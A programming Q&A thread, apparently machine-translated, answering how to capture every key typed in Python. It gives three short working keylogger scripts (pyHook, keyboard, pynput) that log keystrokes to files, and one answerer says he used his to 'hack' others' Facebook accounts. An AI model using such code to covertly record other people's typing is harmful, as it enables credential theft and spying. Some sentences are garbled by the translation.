How do I capture every key typed in python
I am trying to make a program that captures the keys typed on the pc, so that later I can access them. I don't know where to start. I do not know if it uses sqlite3 (database), in google I searched, but some explanations are zero.
4 answers
Really the keyboard library works for python 2x and 3x.
Https://pypi.org/project/keyboard /
After installing, ' e os import and use the keyboard method.wait (teclaALVO) and be happy implementing your code.
Guy if you want to make a Keylogger I already had a code that I used in school to "hack" the people's facebook (I was a bad person)
import pyHook, pythoncom, sys, logging
# feel free to set the file_log to a different file name/location
file_log = 'keyloggeroutput.txt'
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
If you know English to read this article:
Victor You could start searching for 'KEYBOARD LISTENERS'.
An example of a library used in python for keyboard capture and typing is:
Keyboard
You would need to develop some of the code and structure your question better for a more assertive answer.
Anyway follows an example I altered that can be a North for you:
import keyboard
import string
from threading import *
"""
Optional code(extra keys):
keys.append("space_bar")
keys.append("backspace")
keys.append("shift")
keys.append("esc")
"""
# Atribuo a lista de caracteres ascii para a variavel keys(não encontrei lista com todas as teclas)
teclas = list(string.ascii_lowercase)
def listen(tecla):
while True:
keyboard.wait(tecla)
print("- Tecla pressionada: ",tecla)
threads = [Thread(target=listen, kwargs={"tecla":tecla}) for tecla in teclas]
for thread in threads:
thread.start()
This routine reads The pressed and 'printa' keys on the screen.
In just 13 lines, this program does a gigantic job with only one drawback:
from pynput.keyboard import Key, Listener
import logging
log_dir = "C:/Users/"
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
The disadvantage is that when it opens the window that asks for the password of the computer administrator it does not capture what is typed.